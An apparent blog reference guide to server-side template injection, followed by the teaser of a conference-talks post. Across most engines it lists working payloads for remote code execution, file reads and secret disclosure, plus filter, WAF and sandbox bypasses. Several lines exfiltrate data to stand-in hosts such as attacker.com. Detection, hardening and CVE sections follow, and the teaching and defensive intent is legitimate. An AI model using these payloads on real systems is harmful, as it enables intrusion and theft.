${.now?string("yyyy-MM-dd")} Current date if FreeMarker Jelly (ServiceNow) <g:evaluate>gs.addErrorMessage(668.5*2);</g:evaluate> 1337 in error message Thymeleaf Inline [[${7*7}]] 49 if Thymeleaf expression inlining Template Engine Fingerprinting IDENTIFICATION DECISION TREE: ├── {​{7*7}} = 49 │ ├── {​{this}} = [object Object] → Handlebars (Node.js) │ ├── Jinja2 (Python) │ ├── Twig (PHP) │ └── Nunjucks (Node.js) ├── ${7*7} = 49 │ ├── ${"test"?length} = 4 → FreeMarker (Java) │ ├── ${T(java.lang.Runtime)} works → Spring EL (Java) │ └── Velocity (Java) ├── <%=7*7%> = 49 │ ├── ERB (Ruby) │ └── ASP Classic ├── {7*7} = 49 │ └── Smarty (PHP) ├── {​{ . }} = memory address │ └── Go html/template or text/template ├── [[${7*7}]] = 49 │ └── Thymeleaf (Java) expression inlining └── <g:evaluate>...</g:evaluate> executes └── Jelly (ServiceNow) Blind SSTI Detection Method Payload Example Verification Time-based (Jinja2) {​{''.__class__.__mro__[1].__subclasses__()[59].__init__.__globals__['os'].popen('sleep 10').read()}} Response delay Time-based (FreeMarker) <#assign ex="freemarker.template.utility.Execute"?new()>${ex("sleep 10")} Response delay DNS Exfiltration {​{''.__class__.__mro__[1].__subclasses__()[59].__init__.__globals__['os'].popen('nslookup x.attacker.com').read()}} DNS logs HTTP Callback Jinja2 urllib.request.urlopen to attacker URL HTTP logs 3. Template Engine Exploitation Jinja2 (Python) Exploitation Attack Vector Payload Impact Basic RCE {​{config.__class__.__init__.__globals__['os'].popen('id').read()}} Command execution Subprocess {​{''.__class__.__mro__[1].__subclasses__()[104].__init__.__globals__['sys'].modules['subprocess'].check_output('whoami',shell=True)}} Command execution File Read {​{''.__class__.__mro__[1].__subclasses__()[40]('/etc/passwd').read()}} File access Config Access {​{config.SECRET_KEY}} Sensitive data exposure Lipsum Shorthand {​{lipsum.__globals__}} Bypass length limits Cycler RCE {​{cycler.__init__.__globals__.os.popen('id').read()}} Shorter RCE payload Hex-encoded attr() {​{()|attr('\x5f\x5fclass\x5f\x5f')|attr('\x5f\x5fbase\x5f\x5f')|attr('\x5f\x5fsubclasses\x5f\x5f')()|attr('\x5f\x5fgetitem\x5f\x5f')(418)('id',shell=True,stdout=-1)|attr('communicate')()|attr('\x5f\x5fgetitem\x5f\x5f')(0)|attr('decode')('utf-8')}} Filter bypass RCE (CVE-2025-23211) Warning class import {​% for s in ().__class__.__base__.__subclasses__() %}{​% if "warning" in s.__name__ %}{​{s()._module.__builtins__['__import__']('os').popen("env").read()}}{​% endif %}{​% endfor %} RCE via warning subclass (Fides advisory) Twig (PHP) Exploitation TWIG ATTACK PATTERNS: ├── Filter Abuse │ ├── {​{_self.env.registerUndefinedFilterCallback("exec")}} │ ├── {​{_self.env.getFilter("id")}} │ └── {​{["id"]|filter("system")}} ├── Function Injection │ ├── {​{_self.env.registerUndefinedFunction("exec")}} │ └── {​{_self.env.getFunction("system")}} ├── Object Injection │ ├── {​{app.request.query.get('cmd')|passthru}} │ └── {​{dump(app)}} (information disclosure) └── Escape Handler Abuse (Grav CMS — GHSA-2m7x-c7px-hp58) ├── {​{ grav.twig.twig.extensions.core.setEscaper('system','twig_array_filter') }} └── {​{ ['id'] | escape('system', 'system') }} (Redefine escape function via setEscaper to system(), bypasses sandbox when not enabled) FreeMarker (Java) Exploitation Technique Payload Description Object Creation <#assign ex="freemarker.template.utility.Execute"?new()> ${ex("id")} Command execution Static Method Call ${"freemarker.template.utility.ObjectConstructor"?new()("java.lang.ProcessBuilder","id").start()} Process creation File System Access <#assign fos=freemarker.template.utility.ObjectConstructor("java.io.FileOutputStream","/tmp/test")> File manipulation ?lower_abc Filter Bypass ${(6?lower_abc+18?lower_abc+...)?new()(9?lower_abc+4?lower_abc)} Reconstruct “freemarker.template.utility.Execute” char-by-char to bypass keyword blocklists CamelContext Sandbox Escape <#assign cr=camelContext.getClassResolver()><#assign i=camelContext.getInjector()><#assign se=i.newInstance(cr.resolveClass('javax.script.ScriptEngineManager'))>${se.getEngineByName("js").eval("...")} RCE even with ClassResolver sandbox enabled (Apache Camel) CamelContext Language $camelContext.resolveLanguage("groovy").createExpression(<PAYLOAD>).evaluate(exchange, Object.class) Groovy expression via Camel context Alfresco Sandbox Bypass Exploit exposed objects in FreeMarker templates to bypass restrictions (CVE-2023-49964, incomplete fix for CVE-2020-12873) RCE in Alfresco CMS Handlebars (Node.js) Exploitation Technique Payload Description Prototype Pollution + AST Injection Pollute Object.prototype.type = 'Program' and Object.prototype.body with crafted AST containing RCE in NumberLiteral value Bypass parser validation, inject code directly into compiler Constructor Chain `{​{#with “s” as string toString Override + bind() Override Object.prototype.toString via defineProperty, use bind() to create function returning attacker payload, then invoke via Function constructor Full RCE without scope-defined functions (Shopify Return Magic) pendingContent Detection Pollute Object.prototype.pendingContent with test string Detect Handlebars engine in black-box with prototype pollution Pug (Node.js) Exploitation Technique Payload Description AST Injection via block Pollute Object.prototype.block = {"type":"Text","val":"<script>alert(origin)</script>"} XSS/content injection via prototype pollution Code Injection via line Pollute Object.prototype.block.type = "Code" with body containing RCE payload Command execution via AST manipulation Thymeleaf (Java) Exploitation THYMELEAF ATTACK PATTERNS: ├── Expression Preprocessing Double-Eval │ ├── __${path}__ preprocesses user input, result evaluated as expression │ ├── URL path injection: http://target/(${T(java.lang.Runtime).getRuntime().exec('calc')}) │ └── Works on Jetty (allows {} in path), blocked on Tomcat (URL-encodes {}) ├── Spring Boot 3.3.4 Denylist Bypass (modzero research) │ ├── Thymeleaf blocks T() for static class access and org.springframework.util.ReflectionUtils │ ├── Bypass via org.apache.commons.lang3.reflect.MethodUtils (not on denylist) │ ├── "".class.forName("org.apache.commons.lang3.reflect.MethodUtils") │ │ .invokeMethod( │ │ "".class.forName("org.apache.commons.lang3.reflect.MethodUtils") │ │ .invokeStaticMethod("".class.forName("java.lang.Runtime"),"getRuntime"), │ │ "exec", "whoami") │ └── Full payload reads command output via IOUtils + file write for non-blind RCE ├── CVE-2023-38286 (Spring Boot Admin) │ ├── Bypass Thymeleaf blacklists via ReflectionUtils (older versions) │ ├── th:with chaining: findMethod → invokeMethod → exec │ └── Requires MailNotifier enabled + write access to env vars └── CVE-2022-46166 (Spring Boot Admin) └── RCE via variable coverage in notification templates Velocity (Java) Exploitation Technique Payload Description CamelContext RCE ${camelContext.class.forName("javax.script.ScriptEngineManager").newInstance().getEngineByName("js").eval("...")} RCE via JavaScript engine in Apache Camel Template Override Send CamelVelocityTemplate header to override default template Dynamic template injection via message headers Resource URI Override Send CamelVelocityResourceUri header pointing to file:///etc/passwd Arbitrary file disclosure MVEL (Java) Exploitation Technique Payload Description Direct RCE @{java.lang.Runtime.getRuntime().exec('id')} Direct runtime access ObjectFactory RCE @{com.sun.org.apache.xerces.internal.utils.ObjectFactory.newInstance("javax.script.ScriptEngineManager",null,false).getEngineByName('js').eval("...")} Via ScriptEngine Template Override Send CamelMvelTemplate header Apache Camel dynamic template Go Template Exploitation GO SSTI ATTACK PATTERNS: ├── Detection │ └── {​{ . }} — prints memory address/object dump of passed struct ├── Data Leakage │ ├── {​{ .Email }} / {​{ .Password }} — access struct fields │ └── Leaks any exported field on the passed object ├── Method Invocation │ ├── {​{ .MethodName "arg" }} — call exported methods on passed struct │ └── Methods must be exported (capitalized) to be callable ├── Gin Framework Gadgets │ └── {​{ .Writer.WriteString "<script>alert(1)</script>" }} — XSS via response writer ├── Echo Framework Gadgets │ ├── {​{ .File "/etc/passwd" }} — arbitrary file read │ ├── {​{ .Attachment "/etc/passwd" "passwd" }} — file read via attachment │ ├── {​{ .Inline "/etc/passwd" "passwd" }} — file read inline │ └── {​{ $x:=.Echo.Filesystem.Open "/etc/hostname" }} {​{ $x.Seek 1 0 }} {​{ .Stream 200 "text/plain" $x }} — file read with I/O control ├── Fiber Framework Gadgets │ ├── {​{ .App.Shutdown }} — denial of service │ └── {​{ .Response.SendFile "/etc/hostname" }} {​{ .Response.Body }} — file read via fasthttp.Response ├── Method Confusion (OnSecurity Research) │ ├── If passed object type matches a method's receiver, call with custom params │ ├── echo.Context.File("path") gadget for arbitrary file read │ └── Gadget hunting: search imported modules for exported methods with dangerous behavior └── text/template vs html/template ├── text/template allows direct "call" for public functions — higher risk └── html/template restricts call — requires gadget chains Jelly (ServiceNow) Exploitation Technique Payload Description Template Injection Probe <g:evaluate>gs.addErrorMessage(668.5*2);</g:evaluate> Confirm injection via math result (1337) in error message DB Credential Theft Inject <g:evaluate> to read glide.db.properties via SecurelyAccess + getBufferedReader() Extract database connection strings Chained Exploitation CVE-2024-4879 (title injection) + CVE-2024-5217 (mitigation bypass) + CVE-2024-5178 (file filter bypass) Full RCE chain on ServiceNow Style Tag Bypass Embed Jelly tags inside <style> element in jvar_page_title parameter Bypass basic input validation 4. Framework-Specific Attacks Spring Framework (Java) Context Payload Impact Spring EL ${T(java.lang.Runtime).getRuntime().exec('id')} RCE SpEL Injection #{T(java.lang.System).getProperty('user.name')} Information disclosure Request Context ${@requestMappingHandlerMapping.getApplicationContext().getEnvironment().getProperty('java.version')} Environment access Thymeleaf Double-Eval '+${7*7}+' in Referer header with __${Referer}__ preprocessing RCE via preprocessing (modzero) MethodUtils Bypass "".class.forName("org.apache.commons.lang3.reflect.MethodUtils").invokeStaticMethod(...) Bypass Thymeleaf denylist in Spring Boot 3.3.4+ WebAsyncManager Header Exfil Access #ctx.getVariable("...WebAsyncManager...") to read request headers and write response Non-blind RCE without outbound connections Django (Python) DJANGO TEMPLATE ATTACKS: ├── Debug Information │ ├── {​{settings.SECRET_KEY}} │ ├── {​{settings.DATABASES}} │ └── {​{settings.DEBUG}} ├── Object Traversal │ ├── {​{request.META}} │ ├── {​{request.user}} │ └── {​{request.session}} └── Filter Abuse ├── Custom filters with dangerous functions └── Template tag injection Laravel (PHP) Attack Type Payload Result Blade RCE @php(system('id')) @endphp Command execution Variable Access {​{$app->make('config')->get('database.default')}} Configuration disclosure Helper Function {​{app('Illuminate\Contracts\Console\Kernel')->call('route:list')}} Application introspection Apache Camel (Java) APACHE CAMEL SSTI (CVE-2020-11994): ├── Affected Components │ ├── camel-freemarker (CamelFreemarkerTemplate header) │ ├── camel-velocity (CamelVelocityTemplate header) │ ├── camel-mvel (CamelMvelTemplate header) │ └── camel-mustache (MustacheResourceUri header — file disclosure only) ├── Attack Pattern │ ├── Override default template via message header injection │ ├── Header source depends on consumer: JMS properties, HTTP headers, etc. │ └── ResourceUri headers enable arbitrary file disclosure (file:///etc/passwd) ├── Sandbox Bypass │ ├── camelContext object exposed in template context │ ├── getInjector() + getClassResolver() → instantiate arbitrary classes │ └── resolveLanguage("groovy") → evaluate arbitrary Groovy expressions └── Impact └── RCE + Arbitrary File Disclosure across all template components Grav CMS (PHP/Twig) Attack Type Payload Result setEscaper Abuse {​{ grav.twig.twig.extensions.core.setEscaper('system','twig_array_filter') }} then {​{ ['id'] | escape('system', 'system') }} RCE by redefining escape filter to system() Root Cause Twig sandbox not enabled; unrestricted access to extension classes via template context Arbitrary callable registration 5. Payload Development Payload Construction Strategy PAYLOAD DEVELOPMENT PROCESS: ├── Environment Discovery │ ├── Available classes/modules │ ├── Security restrictions │ └── Execution context ├── Bypass Development │ ├── Filter evasion │ ├── Character restrictions │ └── Length limitations ├── Payload Optimization │ ├── Minimize detection │ ├── Maximize impact │ └── Ensure reliability └── Multi-Stage Delivery ├── Store payload in persistent objects (Jinja2 config object) ├── Retrieve and execute across separate requests └── Useful when injection point has size limits (email fields) Common Payload Patterns Goal Python/Jinja2 PHP/Twig Java/FreeMarker Node.js/Handlebars Go List Classes {​{''.__class__.__mro__[1].__subclasses__()}} {​{dump()}} <#list .data_model?keys as key>${key}</#list> {​{this}} {​{ . }} Execute Command {​{cycler.__init__.__globals__.os.popen('id').read()}} {​{_self.env.registerUndefinedFilterCallback("system")}} <#assign ex="freemarker.template.utility.Execute"?new()>${ex("id")} Prototype pollution + AST injection N/A (gadget-dependent) Read File {​{get_flashed_messages.__globals__['current_app'].open_resource('../../../etc/passwd').read()}} {​{include('/etc/passwd')}} <#assign file=...ObjectConstructor("java.io.File","/etc/passwd")> N/A {​{ .File "/etc/passwd" }} (Echo) Size-Limited Payload Technique (Jinja2) MULTI-REQUEST PAYLOAD STAGING: 1. Store payload in config object via short injection: {​{config.update(a=request.args.get('a'))}} with URL parameter: ?a=<long RCE payload> 2. Verify storage: {​{config.a}} 3. Execute stored payload: {​{''.__class__.__mro__[1].__subclasses__()...__globals__['os'].popen(config.a).read()}} Use case: SSTI in email fields with RFC-imposed size limits 6. Advanced Exploitation Blind SSTI Exploitation Detection Method Payload Verification Time-based {​{''.__class__.__mro__[1].__subclasses__()[59].__init__.__globals__['time'].sleep(5)}} Response delay DNS Exfiltration {​{''.__class__.__mro__[1].__subclasses__()[59].__init__.__globals__['os'].popen('nslookup whoami.attacker.com').read()}} DNS logs HTTP Callback {​{''.__class__.__mro__[1].__subclasses__()[59].__init__.__globals__['urllib'].request.urlopen('http://attacker.com/'+config.SECRET_KEY)}} HTTP logs Sandbox Escape Techniques SANDBOX BYPASS METHODS: ├── Python/Jinja2 │ ├── __builtins__ access via globals │ ├── Class traversal to dangerous modules │ ├── Import statement reconstruction │ └── Warning subclass → __builtins__['__import__'] chain ├── Java/FreeMarker │ ├── ObjectConstructor for arbitrary class instantiation │ ├── Static method calls via ?new() │ ├── Reflection API abuse │ ├── CamelContext.getInjector() + getClassResolver() (Apache Camel) │ └── ScriptEngineManager for Groovy/JavaScript eval ├── Java/Thymeleaf │ ├── Expression preprocessing (__...__) double-evaluation │ ├── org.apache.commons.lang3.reflect.MethodUtils (bypass Spring Boot 3.3.4 denylist) │ ├── "".class.forName() to load arbitrary classes │ └── ReflectionUtils (older versions, now denylisted) ├── PHP/Twig │ ├── Filter/function registration │ ├── Object property access │ ├── Include/eval function calls │ └── setEscaper() to redefine escape function as system() (Grav CMS) └── Node.js/Handlebars ├── AST Injection via prototype pollution (bypass parser entirely) ├── Function constructor via this.constructor.constructor ├── Object.prototype.toString override + bind() for RCE └── Built-in helper abuse (with, blockHelperMissing) Prototype Pollution to SSTI (Node.js) PROTOTYPE POLLUTION → SSTI CHAIN: ├── Handlebars │ ├── Pollute Object.prototype.type = "Program" │ ├── Pollute Object.prototype.body with AST containing RCE in NumberLiteral.value │ ├── Template string bypasses parser (treated as pre-parsed AST) │ └── Compiler executes injected code directly ├── Pug │ ├── Pollute Object.prototype.block with {type:"Text", val:"<payload>"} │ ├── When ast.type is "While", walkAST follows ast.block (uses prototype) │ └── High reliability: any template referencing arguments triggers it └── Detection ├── Handlebars: Object.prototype.pendingContent = "<test>" → appears in output └── Pug: Object.prototype.block = {type:"Text", val:"<test>"} → appears in output 7. Bypass Techniques Filter Evasion Restriction Bypass Technique Example Keyword Blacklist String concatenation {​{'sy'+'stem'}} Character Filtering Unicode/Encoding {​{'\u0073\u0079\u0073\u0074\u0065\u006d'}} Length Limits Shortened payloads {​{lipsum.__globals__}} Quotes Blocked String methods {​{request.args.cmd|system}} Keyword Blacklist (FreeMarker) ?lower_abc encoding 6?lower_abc = “f”, reconstruct class names char-by-char Attribute Name Filtering Hex-encoded attr() |attr('\x5f\x5fclass\x5f\x5f') instead of .__class__ Size Limit Config object staging Store payload in config.a via one request, execute in another Thymeleaf Static Class Block commons-lang3 MethodUtils Use "".class.forName(...) to load non-denylisted reflection class ServiceNow Mitigation Style tag wrapper + Jelly xmlns Embed <g:evaluate> inside <style> tags WAF Bypass Strategies WAF EVASION TECHNIQUES: ├── Encoding Variations │ ├── URL encoding (%7B%7B) │ ├── Unicode encoding (\u007B\u007B) │ └── HTML entity encoding (&lbrace;&lbrace;) ├── Structure Manipulation │ ├── Whitespace insertion {​{ 7*7 }} │ ├── Comment insertion {# comment #} │ └── Nested expressions {​{7*{​{7}}}} ├── Payload Fragmentation │ ├── Multi-step injection │ ├── Context-dependent payloads │ └── Request splitting ├── FreeMarker-Specific │ ├── ?lower_abc / ?upper_abc character reconstruction │ ├── 1.1?c[1] to generate dot character │ └── Numeric built-in abuse to construct arbitrary strings └── Thymeleaf-Specific ├── Preprocessor double-evaluation via __${...}__ ├── @{} link expression parentheses to clear context └── Server-specific: Jetty allows {} in URL path, Tomcat blocks 8. Testing Methodology Manual Testing Workflow Phase Activities Tools/Techniques Discovery Input point identification Burp Suite, manual analysis Detection Template injection testing Mathematical expressions, error analysis Identification Template engine fingerprinting Specific syntax testing, decision tree Exploitation Payload development Engine documentation, trial and error Impact Assessment Privilege escalation, data access Full exploitation chains Blind Validation Time-based and OOB testing sleep commands, DNS/HTTP callbacks Automated Testing Tools SSTI TESTING ARSENAL: ├── Detection Tools │ ├── tplmap (comprehensive scanner — epinna) │ ├── SSTImap (exploitation framework — vladko312) │ ├── Burp extensions (various) │ └── Nuclei templates (e.g., CVE-2024-5217.yaml) ├── Payload Generators │ ├── PayloadsAllTheThings (payload collection) │ ├── SecLists (template payloads) │ └── Custom scripts ├── Framework-Specific │ ├── j2eeTester (Java templates) │ ├── TwigSecurityChecker (Twig) │ └── JinjaSecurityScanner (Jinja2) ├── Reconnaissance │ ├── Shodan/Censys/FOFA (identify exposed instances, e.g., ServiceNow) │ └── Nuclei for automated version/vulnerability probing └── CI/CD Integration ├── SAST rules: flag {​{{ in .hbs files (Handlebars triple braces) ├── Secrets scanners: detect credentials in templates └── Build guardrails: break on unsafe patterns 9. Secure Implementation Secure Template Design Principles Principle Implementation Security Benefit Input Validation Strict allowlist validation Prevents injection Context Isolation Separate template contexts Limits impact Minimal Privileges Restricted template capabilities Reduces attack surface Output Encoding Automatic encoding Prevents XSS Sandbox Enforcement Enable template engine sandbox mode Limits exploitation scope Least Privilege Containers Run containers as non-root Limits post-exploitation impact (CVE-2025-23211) Framework-Specific Security SECURE CONFIGURATION: ├── Jinja2/Django │ ├── autoescape=True (XSS prevention) │ ├── Restrict dangerous globals │ ├── Custom filter validation │ └── Use SandboxedEnvironment for user-controlled templates ├── Twig/Symfony │ ├── Strict mode enabled │ ├── Sandbox mode for user content (prevents setEscaper abuse) │ ├── Function/filter allowlisting │ └── Block access to internal extension objects ├── FreeMarker/Spring │ ├── Restricted method calls │ ├── Template loading restrictions │ ├── API access controls │ └── Use TemplateClassResolver.ALLOWS_NOTHING_RESOLVER ├── Thymeleaf/Spring Boot │ ├── Avoid expression preprocessing (__...__) with user input │ ├── Denylist covers java.*, javax.*, org.springframework.util.* │ ├── Audit third-party libs (commons-lang3 MethodUtils still exploitable) │ └── Prefer Tomcat over Jetty (Tomcat blocks {} in URL paths) ├── Handlebars/Node.js │ ├── Always use double braces {​{ }} (auto-escaping), never triple {​{{ }}} │ ├── Audit custom helpers — never use SafeString with user input │ ├── Protect against prototype pollution (freeze Object.prototype, use Maps) │ └── Keep dependencies updated (prototype pollution CVEs) ├── Go Templates │ ├── Prefer html/template over text/template (restricts "call") │ ├── Never pass entire framework context (gin.Context, echo.Context) to templates │ ├── Create minimal view structs with only needed fields │ └── Avoid exported methods with dangerous behavior on passed types ├── ServiceNow/Jelly │ ├── Apply vendor patches promptly (CVE-2024-4879 exploited in wild) │ ├── Sanitize jvar_page_title and similar parameters │ └── Monitor for Jelly tag injection patterns in logs └── General Practices ├── Pre-compile templates (never build from user strings) ├── Validate all inputs ├── Monitor template rendering └── Run applications as non-root in containers 10. Detection & Prevention Runtime Protection Control Implementation Effectiveness Input Sanitization Remove template syntax High (if comprehensive) Template Sandboxing Restricted execution environment Medium (bypass possible) Content Security Policy Restrict dynamic content Low (server-side attack) Web Application Firewall Pattern-based blocking Medium (bypass common) Prototype Pollution Prevention Object.freeze, Map usage, input validation High (prevents AST injection in Node.js) Monitoring & Detection DETECTION STRATEGIES: ├── Log Analysis │ ├── Template rendering errors │ ├── Unusual template patterns ({​{, ${, <#, <g:evaluate>) │ ├── Performance anomalies │ └── ServiceNow: monitor login.do for Jelly tag injection ├── Runtime Monitoring │ ├── Template execution time (detect sleep-based blind SSTI) │ ├── Memory consumption │ ├── System call monitoring (exec, popen, ProcessBuilder) │ └── DNS/HTTP outbound connections from template rendering ├── Security Scanning │ ├── Regular SAST scans (CodeQL, Semgrep) │ ├── DAST testing (tplmap, SSTImap, Nuclei) │ ├── Dependency vulnerability checks (prototype pollution in Node.js) │ └── Internet exposure scanning (Shodan, Censys, FOFA) └── Supply Chain ├── Monitor npm advisories for Handlebars, Pug, flat ├── Track Java dependency updates (FreeMarker, Thymeleaf, commons-lang3) └── Automated SCA in CI/CD pipelines Incident Response Phase Actions Considerations Detection Log analysis, alert investigation False positive filtering Containment Template access restriction Service availability Eradication Vulnerable template removal Code deployment Recovery Secure template implementation Testing requirements Lessons Learned Process improvement Training needs 11. CVE Reference CVE Product Engine CVSS Impact CVE-2024-4879 ServiceNow Jelly 9.3 Unauthenticated RCE via title injection CVE-2024-5217 ServiceNow Jelly 9.2 Template injection mitigation bypass CVE-2024-5178 ServiceNow Jelly 6.9 Filesystem filter bypass, sensitive file read CVE-2025-23211 Tandoor Recipes Jinja2 9.9 Authenticated SSTI to root RCE in Docker CVE-2023-38286 Spring Boot Admin Thymeleaf – RCE via Thymeleaf blacklist bypass CVE-2022-46166 Spring Boot Admin Thymeleaf – RCE via variable coverage in notifiers CVE-2023-49964 Alfresco FreeMarker – SSTI sandbox bypass (incomplete fix of CVE-2020-12873) CVE-2020-12873 Alfresco FreeMarker – Original SSTI via exposed FreeMarker objects CVE-2020-11994 Apache Camel FreeMarker/Velocity/MVEL/Mustache – RCE + file disclosure via template header override CVE-2024-29178 Apache StreamPark FreeMarker – FreeMarker SSTI to RCE CVE-2019-20920 Handlebars (npm) Handlebars – Prototype pollution leading to RCE GHSA-2m7x-c7px-hp58 Grav CMS Twig – RCE via setEscaper() without sandbox GHSA-c34r-238x-f7qx Fides Jinja2 – RCE via unsandboxed email template rendering Key Takeaways Input Validation: Never trust user input in template contexts Template Isolation: Separate user-controlled and system templates Minimal Privileges: Restrict template engine capabilities Regular Testing: Include SSTI in security testing processes Framework Updates: Keep template engines updated with security patches Sandbox Enforcement: Always enable sandbox mode when user content is rendered by template engines Prototype Pollution Awareness: In Node.js, prototype pollution can chain to full SSTI/RCE even in “logicless” engines like Handlebars Context Minimization: Pass only minimal data structures to templates — never entire framework contexts (Go, Spring) Container Hardening: Run applications as non-root to limit post-exploitation impact Supply Chain Monitoring: Track template engine dependency vulnerabilities in CI/CD This guide compiles practical SSTI knowledge from 40 research sources. Template injection vulnerabilities remain common due to the complexity of modern template engines and their powerful features. The attack surface extends beyond traditional web frameworks to message-driven architectures (Apache Camel), CMS platforms (Alfresco, Grav), enterprise IT management (ServiceNow), and Node.js prototype pollution chains. ...

April 10, 2026 · 16 min · Carl Sampson

Security Conference Talks & Research Guide

Comprehensive Security Conference Talks & Research Guide A practitioner’s reference for the global security conference circuit — where research is published, which venues matter for which subject areas, how to pick talks, and how to submit your own. Compiled from 35 research sources in raw/Talks/. Table of Contents Fundamentals: Why Conferences Matter The Major Conferences Regional & Community Conferences Academic & Research Venues OWASP Ecosystem Industry-Specific Events Notable Research Areas & Talk Themes Trend Timeline (2020-2026) Key Researchers & Speakers to Follow CTFs, Villages & Workshops CFP Process & Speaker Track Recordings, Slides & Archives Attendee Planning Playbook Quick Reference: Calendar by Month Further Reading 1. Fundamentals: Why Conferences Matter Security conferences are the primary publication venue for offensive research, new tooling, and post-incident retrospectives that don’t fit the academic paper format. Unlike peer-reviewed journals, conference talks serve four roles simultaneously: ...

April 10, 2026 · 26 min · Carl Sampson